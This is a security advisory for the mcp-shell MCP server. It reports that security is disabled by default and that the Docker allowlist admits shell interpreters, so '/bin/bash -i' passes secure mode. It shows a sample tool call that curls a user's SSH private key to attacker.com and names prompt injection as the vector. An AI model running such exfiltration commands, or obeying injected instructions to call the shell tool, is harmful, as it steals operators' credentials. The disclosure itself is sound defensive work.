CVE-2026-55580: mcp-shell — Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist

mcp-shellat commit17ac0eef5c9a5a42b8fb132d3d034973d55a5433` has two issues that together mean neither the default deploy path nor the recommended “secure mode” delivers the restriction they’re marketed as providing. Filing these together because the two failure modes bracket the full intended audience — the from-source path gets users who skip security config entirely, the Docker path gets users who follow the security.yaml example and believe they’re protected.

The first issue is in config.go, line 49:

config := &Config{
Security: SecurityConfig{
Enabled: false,
},
...
}

Security is opt-in. The bare binary ships with Enabled: false, and security.go lines 26–29 make the consequence explicit:

func (v *SecurityValidator) validateCommand(command string) error {
if !v.config.Enabled {
v.logger.Debug().Str("command", command).Msg("Security disabled, allowing command")
return nil
}

main.go lines 35–39 confirm the deployment condition:

configFile := os.Getenv("MCP_SHELL_SEC_CONFIG_FILE")
if configFile != "" {
log.Info().Str("config_file", configFile).Msg("Loading security config")
} else {
log.Info().Msg("No security config file specified, security disabled")
}

The README’s from-source install path (lines 22–26) runs git clone ... && make install && mcp-shell with no environment variable and no config file. The MCP client config example block (lines 78–85) passes only MCP_SHELL_LOG_LEVEL — no MCP_SHELL_SEC_CONFIG_FILE. Every operator who follows either documented path runs an unrestricted shell-execution server.

Attack model: operator installs from source or follows the MCP client config example verbatim. Any LLM connected via stdio can call shell_exec with an arbitrary command string — no allowlist, no blocklist, no filtering, no logging. Because mcp-shell is stdio transport, the attacking agent is the operator’s own connected LLM — prompt injection or a poisoned tool description is the vector, no network access required.

{"method": "tools/call", "params": {"name": "shell_exec", "arguments": {"command": "curl -s http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64)"}}}

Fix: flip the default to SecurityConfig{Enabled: true}. Secure mode should be the operating default — not an env var users have to know to set. The --allow-unsafe flag (or equivalent env var) can preserve the unrestricted mode for developers who explicitly accept the risk, but that should require affirmative opt-in, not silence.

The second issue affects Docker users who do follow the security.yaml example. The official security.yaml — baked into the Docker image via COPY security.yaml /etc/mcp-shell/security.yaml — includes both /bin/bash and /usr/bin/python3 in allowed_executables. In secure mode (use_shell_execution: false), executor.go lines 142–163 parse the command and exec it directly:

} else {
executable, args, err := e.parseCommand(command)
...
cmd = exec.CommandContext(ctx, executable, args...)
}

The parseCommand() function uses strings.Fields() — split on whitespace — and the metacharacter check in containsDangerousShellConstructs() blocks |, &, ;, $, and similar constructs. With /bin/bash in the allowlist, the following call:

shell_exec(command="/bin/bash -i")

Parses to executable="/bin/bash", args=["-i"]. The executable is on the allowlist. -i contains no blocked metacharacters. The call passes all validation and executes as:

cmd = exec.CommandContext(ctx, "/bin/bash", "-i")

That’s an interactive bash shell — stdin is shared with the mcp-shell process, which is the MCP command channel. The LLM now has a direct read/write channel to bash. The Python path is equally direct: shell_exec(command="/usr/bin/python3 /workspace/payload.py") where the payload file was written in a prior tool call. Both bypass all of secure mode’s metacharacter filtering because the interpreter absorbs the dangerous content, not the direct command string.

The Docker image ships this config as the default. Any operator who runs the official image without a custom security.yaml is running with /bin/bash and /usr/bin/python3 in their allowlist — the advertised secure mode is not providing the restriction it claims.

Fix: remove /bin/bash, /bin/sh, and /usr/bin/python3 from allowed_executables in the default security.yaml. Shell interpreters defeat executable-allowlisting by design — the interpreter executes whatever it’s handed, so allowing it is equivalent to disabling the allowlist entirely. The default config should contain only narrow utility binaries that can’t themselves spawn arbitrary processes (ls, cat, grep, head, wc, date, pwd). A comment in the example config is also warranted: